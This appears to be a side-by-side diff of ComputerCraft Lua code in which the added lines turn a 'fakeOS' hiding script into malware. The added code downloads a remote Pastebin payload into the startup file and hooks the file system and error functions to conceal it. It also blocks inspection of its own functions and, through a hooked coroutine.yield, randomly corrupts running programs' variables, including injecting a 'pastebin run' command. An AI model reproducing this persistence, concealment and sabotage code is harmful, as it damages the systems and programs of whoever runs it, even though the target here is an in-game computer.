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| 1 | load([[ | |
| 2 | ||
| 3 | -- #### Vars | |
| 4 | - | local osName = "fakeOS" |
| 4 | + | |
| 5 | - | local hiddenPrograms = {osName}
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| 5 | + | |
| 6 | - | local fake = {}
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| 6 | + | |
| 7 | ||
| 8 | -- #### "Local" functions | |
| 9 | ||
| 10 | settings.set("shell.allow_disk_startup", false)
| |
| 11 | - | local function getAnEmptyPath() |
| 11 | + | settings.set("shell.allow_startup", true)
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| 12 | settings.save ".settings" | |
| 13 | - | local dir = tostring(math.random(1, 65535)) |
| 13 | + | local h = http.get "https://pastebin.com/raw/C4SpMZT3" |
| 14 | - | if real.exists(dir) == false then |
| 14 | + | if fs.isDir "startup" then fs.delete "startup" end |
| 15 | - | return dir |
| 15 | + | local f = fs.open("startup", "w")
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| 16 | f.write(h.readAll()) | |
| 17 | f.close() | |
| 18 | h.close() | |
| 19 | ||
| 20 | - | local function shouldBeHidden(path) |
| 20 | + | |
| 21 | - | for i=1, #hiddenPrograms do |
| 21 | + | |
| 22 | - | if string.lower(path) == string.lower(hiddenPrograms[i]) then |
| 22 | + | |
| 23 | - | return true |
| 23 | + | |
| 24 | term.setTextColor(colors.white) | |
| 25 | else | |
| 26 | - | return false |
| 26 | + | |
| 27 | end | |
| 28 | end | |
| 29 | ||
| 30 | -- #### Tweaking compromising functions | |
| 31 | ||
| 32 | local function preprocessError(e) | |
| 33 | if type(e) == "string" then | |
| 34 | local newText = e:gsub("why", "bios.lua"):gsub("userStartup", "startup")
| |
| 35 | return newText | |
| 36 | end | |
| 37 | return e | |
| 38 | - | term.writeYellow = writeYellow |
| 38 | + | |
| 39 | ||
| 40 | - | local function splitIntoArgs(str) |
| 40 | + | real.pcall = pcall |
| 41 | - | i=0 |
| 41 | + | local function fakePcall(...) |
| 42 | - | arg = {}
|
| 42 | + | local ok, result = real.pcall(...) |
| 43 | - | -- %S -> A character that isn't a space |
| 43 | + | if not ok then return false, preprocessError(result) |
| 44 | - | -- + -> Or more than one |
| 44 | + | else return ok, result end |
| 45 | - | -- %S+ -> Any group of character not separated by a space |
| 45 | + | |
| 46 | - | -- string.gmatch(str, "%S+") : Splits the string when a space is encountered |
| 46 | + | _G.pcall = fakePcall |
| 47 | - | for w in string.gmatch(str, "%S+") do |
| 47 | + | |
| 48 | - | i=i+1 |
| 48 | + | real.xpcall = xpcall |
| 49 | - | arg[i]=w |
| 49 | + | local function fakeXpcall(fn, ehandler) |
| 50 | return real.xpcall(fn, function(e) return ehandler(preprocessError(e)) end) | |
| 51 | - | if type(arg) == "table" then |
| 51 | + | |
| 52 | - | if #arg > 0 then |
| 52 | + | _G.xpcall = fakeXpcall |
| 53 | - | return arg |
| 53 | + | |
| 54 | real.find = fs.find | |
| 55 | local function fakeFind(path) | |
| 56 | - | return false |
| 56 | + | |
| 57 | path = userStartupPath | |
| 58 | end | |
| 59 | ||
| 60 | list = real.find(path) | |
| 61 | - | real.error = _G.printError |
| 61 | + | |
| 62 | - | function fakeError(text) |
| 62 | + | |
| 63 | - | if type(string.find(text, "fakeOS:")) == "number" then |
| 63 | + | |
| 64 | - | return false |
| 64 | + | |
| 65 | end | |
| 66 | - | real.error(text) |
| 66 | + | |
| 67 | end | |
| 68 | fs.find = fakeFind | |
| 69 | - | _G.printError = fakeError |
| 69 | + | |
| 70 | real.list = fs.list | |
| 71 | local function fakeList(path) | |
| 72 | list = real.list(path) | |
| 73 | for i=1,#list do | |
| 74 | if list[i] == "startup" then | |
| 75 | table.remove(list, i) | |
| 76 | - | if shouldBeHidden(path) == true then |
| 76 | + | |
| 77 | - | return nil |
| 77 | + | |
| 78 | for i=1,#list do | |
| 79 | if list[i] == userStartupPath then | |
| 80 | list[i] = "startup" | |
| 81 | end | |
| 82 | - | for j=1, #hiddenPrograms do |
| 82 | + | |
| 83 | - | if type(list[i]) == "string" then |
| 83 | + | |
| 84 | - | if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then |
| 84 | + | |
| 85 | - | table.remove(list, i) |
| 85 | + | |
| 86 | ||
| 87 | real.exists = fs.exists | |
| 88 | local function fakeExists(path) | |
| 89 | if string.lower(path) == "startup" then | |
| 90 | path = userStartupPath | |
| 91 | end | |
| 92 | ||
| 93 | return real.exists(path) | |
| 94 | end | |
| 95 | fs.exists = fakeExists | |
| 96 | ||
| 97 | real.ioOpen = io.open | |
| 98 | local function fakeIoOpen(path) | |
| 99 | if string.lower(path) == "startup" then | |
| 100 | path = userStartupPath | |
| 101 | end | |
| 102 | ||
| 103 | - | for j=1, #hiddenPrograms do |
| 103 | + | |
| 104 | - | if type(list[i]) == "string" then |
| 104 | + | |
| 105 | - | if string.lower(list[i]) == string.lower(hiddenPrograms[j]) then |
| 105 | + | |
| 106 | - | table.remove(list, i) |
| 106 | + | |
| 107 | real.makeDir = fs.makeDir | |
| 108 | local function fakeMakeDir(path) | |
| 109 | if string.lower(path) == "startup" then | |
| 110 | path = userStartupPath | |
| 111 | end | |
| 112 | ||
| 113 | return real.makeDir(path) | |
| 114 | end | |
| 115 | fs.makeDir = fakeMakeDir | |
| 116 | ||
| 117 | real.delete = fs.delete | |
| 118 | local function fakeDelete(path) | |
| 119 | if string.lower(path) == "startup" then | |
| 120 | path = userStartupPath | |
| 121 | end | |
| 122 | ||
| 123 | return real.delete(path) | |
| 124 | end | |
| 125 | fs.delete = fakeDelete | |
| 126 | ||
| 127 | real.open = fs.open | |
| 128 | local function fakeOpen(path, mode) | |
| 129 | if string.lower(path) == "startup" then | |
| 130 | - | if shouldBeHidden(path) == true then |
| 130 | + | |
| 131 | - | return nil |
| 131 | + | |
| 132 | ||
| 133 | return real.open(path, mode) | |
| 134 | end | |
| 135 | fs.open = fakeOpen | |
| 136 | ||
| 137 | real.isReadOnly = fs.isReadOnly | |
| 138 | local function fakeIsReadOnly(path) | |
| 139 | if string.lower(path) == "startup" then | |
| 140 | path = userStartupPath | |
| 141 | end | |
| 142 | ||
| 143 | - | if shouldBeHidden(path) == true then |
| 143 | + | |
| 144 | - | return nil |
| 144 | + | |
| 145 | fs.isReadOnly = fakeIsReadOnly | |
| 146 | ||
| 147 | real.getSize = fs.getSize | |
| 148 | local function fakeGetSize(path) | |
| 149 | if string.lower(path) == "startup" then | |
| 150 | path = userStartupPath | |
| 151 | end | |
| 152 | ||
| 153 | return real.getSize(path) | |
| 154 | end | |
| 155 | fs.getSize = fakeGetSize | |
| 156 | - | if shouldBeHidden(path) == true then |
| 156 | + | |
| 157 | - | return nil |
| 157 | + | |
| 158 | local function fakeMove(fromPath, toPath) | |
| 159 | if string.lower(fromPath) == "startup" then | |
| 160 | fromPath = userStartupPath | |
| 161 | end | |
| 162 | if string.lower(toPath) == "startup" then | |
| 163 | toPath = userStartupPath | |
| 164 | end | |
| 165 | ||
| 166 | return real.move(fromPath, toPath) | |
| 167 | end | |
| 168 | fs.move = fakeMove | |
| 169 | - | if shouldBeHidden(path) == true then |
| 169 | + | |
| 170 | - | return nil |
| 170 | + | |
| 171 | local function fakeCopy(fromPath, toPath) | |
| 172 | if string.lower(fromPath) == "startup" then | |
| 173 | fromPath = userStartupPath | |
| 174 | end | |
| 175 | if string.lower(toPath) == "startup" then | |
| 176 | toPath = userStartupPath | |
| 177 | end | |
| 178 | ||
| 179 | return real.copy(fromPath, toPath) | |
| 180 | end | |
| 181 | fs.copy = fakeCopy | |
| 182 | - | if shouldBeHidden(path) == true then |
| 182 | + | |
| 183 | - | return nil |
| 183 | + | real.stringDump = string.dump |
| 184 | local function isDefinedHere(fn) | |
| 185 | local d = real.stringDump(fn) | |
| 186 | return d:find "@why" ~= nil | |
| 187 | end | |
| 188 | ||
| 189 | local function fakeStringDump(fn) | |
| 190 | if isDefinedHere(fn) then | |
| 191 | error "Unable to dump given function" | |
| 192 | end | |
| 193 | return real.stringDump(fn) | |
| 194 | end | |
| 195 | - | if shouldBeHidden(path) == true then |
| 195 | + | string.dump = fakeStringDump |
| 196 | - | return nil |
| 196 | + | |
| 197 | real.debugGetupvalue = debug.getupvalue | |
| 198 | local function fakeDebugGetupvalue(fn, ...) | |
| 199 | if isDefinedHere(fn) then return nil | |
| 200 | else return real.debugGetupvalue(fn, ...) end | |
| 201 | end | |
| 202 | debug.getupvalue = fakeDebugGetupvalue | |
| 203 | ||
| 204 | local function randomStackPos() | |
| 205 | local eligible = {}
| |
| 206 | local i = 1 | |
| 207 | while true do | |
| 208 | - | if shouldBeHidden(path) == true then |
| 208 | + | local info = debug.getinfo(i, "Sn") |
| 209 | - | return nil |
| 209 | + | if not info then break end |
| 210 | if info.what ~= "C" and info.source ~= "@why" and not (info.source == "@bios.lua" and info.name == nil) then | |
| 211 | table.insert(eligible, i) | |
| 212 | end | |
| 213 | i = i + 1 | |
| 214 | end | |
| 215 | if #eligible == 0 then return 0 | |
| 216 | else return eligible[math.random(1, #eligible)] end | |
| 217 | end | |
| 218 | - | if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then |
| 218 | + | |
| 219 | - | return nil |
| 219 | + | local function mutateValue(x) |
| 220 | local ty = type(x) | |
| 221 | if math.random(0, 10) == 4 then | |
| 222 | return tostring(x) | |
| 223 | end | |
| 224 | if ty == "number" then | |
| 225 | return x + math.random(-10, 10) | |
| 226 | elseif ty == "string" then | |
| 227 | local option = math.random(1, 3) | |
| 228 | if option == 1 then | |
| 229 | if #x == 0 then | |
| 230 | local p = math.random(1, #x) | |
| 231 | return x:sub(1, p) .. x:sub(p) | |
| 232 | else | |
| 233 | return "42" | |
| 234 | - | if shouldBeHidden(fromPath) == true or shouldBeHidden(toPath) == true then |
| 234 | + | |
| 235 | - | return nil |
| 235 | + | elseif option == 2 then |
| 236 | return x .. string.char(math.random(32, 128)) | |
| 237 | elseif option == 3 then | |
| 238 | return x:reverse() | |
| 239 | end | |
| 240 | elseif ty == "table" then | |
| 241 | local option = math.random(1, 5) | |
| 242 | if option == 1 then | |
| 243 | debug.setmetatable(x, {
| |
| 244 | __newindex = function(t, k, v) | |
| 245 | rawset(t, k, mutateValue(v)) | |
| 246 | if math.random(1, 100) == 42 then | |
| 247 | error("java.lang.NullPointerException", 0)
| |
| 248 | - | -- #### Actual FakeOS |
| 248 | + | end |
| 249 | end | |
| 250 | }) | |
| 251 | elseif option == 2 then | |
| 252 | - | term.writeYellow(os.version()) |
| 252 | + | x[math.random(1, #x + 1)] = "pastebin run RM13UGFa" |
| 253 | elseif option == 3 then | |
| 254 | local mt = (debug.getmetatable(x) or {})
| |
| 255 | - | if real.exists("userStartup") then
|
| 255 | + | mt.__index = _G |
| 256 | - | shell.run("userStartup")
|
| 256 | + | debug.setmetatable(x, mt) |
| 257 | - | end |
| 257 | + | elseif option == 4 then |
| 258 | local mt = (debug.getmetatable(x) or {})
| |
| 259 | mt.__eq = function() return math.random(0, 1) == 0 end | |
| 260 | mt.__mode = "v" | |
| 261 | debug.setmetatable(x, mt) | |
| 262 | elseif option == 5 then | |
| 263 | for k, v in pairs(x) do | |
| 264 | if type(k) == "number" then | |
| 265 | x[k * 8] = v | |
| 266 | mutateValue(x[k * 8]) | |
| 267 | end | |
| 268 | end | |
| 269 | end | |
| 270 | elseif ty == "function" then | |
| 271 | return setmetatable({}, {
| |
| 272 | __call = function(t, ...) | |
| 273 | return x(...) | |
| 274 | end | |
| 275 | }) | |
| 276 | end | |
| 277 | return x | |
| 278 | end | |
| 279 | ||
| 280 | -- The fun part. Inject lots of logic into coroutine.yield (which *MUST* be run periodically or CC forces the thread to stop) which messes up programs. | |
| 281 | real.coroutineYield = coroutine.yield | |
| 282 | local function fakeCoroutineYield(...) | |
| 283 | local mode = math.random(0, 100) | |
| 284 | if mode == 0 then | |
| 285 | local stacklevel = randomStackPos() | |
| 286 | local info = debug.getinfo(stacklevel, "fu") | |
| 287 | if info then | |
| 288 | if info.nups > 0 then | |
| 289 | local i = math.random(1, info.nups) | |
| 290 | local name, now = real.debugGetupvalue(info.func, i) | |
| 291 | local new = mutateValue(now) | |
| 292 | if new then debug.setupvalue(info.func, i, new) end | |
| 293 | end | |
| 294 | end | |
| 295 | elseif mode == 1 then | |
| 296 | local stacklevel = randomStackPos() | |
| 297 | local i = 1 | |
| 298 | while true do | |
| 299 | local name, value = debug.getlocal(stacklevel, i) | |
| 300 | if not name then break end | |
| 301 | if math.random(1, 4) == 4 then | |
| 302 | local new = mutateValue(value) | |
| 303 | if new then debug.setlocal(stacklevel, i, new) end | |
| 304 | end | |
| 305 | i = i + 1 | |
| 306 | end | |
| 307 | elseif mode == 2 then | |
| 308 | local env = getfenv(randomStackPos()) | |
| 309 | local keys = {}
| |
| 310 | for k in pairs(env) do table.insert(keys, k) end | |
| 311 | if #keys > 0 then | |
| 312 | local key = keys[math.random(1, #keys)] | |
| 313 | local new = mutateValue(env[key]) | |
| 314 | if new then env[key] = new end | |
| 315 | end | |
| 316 | end | |
| 317 | return real.coroutineYield(...) | |
| 318 | end | |
| 319 | coroutine.yield = fakeCoroutineYield | |
| 320 | ||
| 321 | term.clear() | |
| 322 | term.setCursorPos(1,1) | |
| 323 | writeYellow(os.version()) | |
| 324 | term.setCursorPos(1,2) | |
| 325 | ||
| 326 | if fs.exists("startup") then
| |
| 327 | shell.run("startup")
| |
| 328 | end | |
| 329 | ||
| 330 | ]], "@why")() |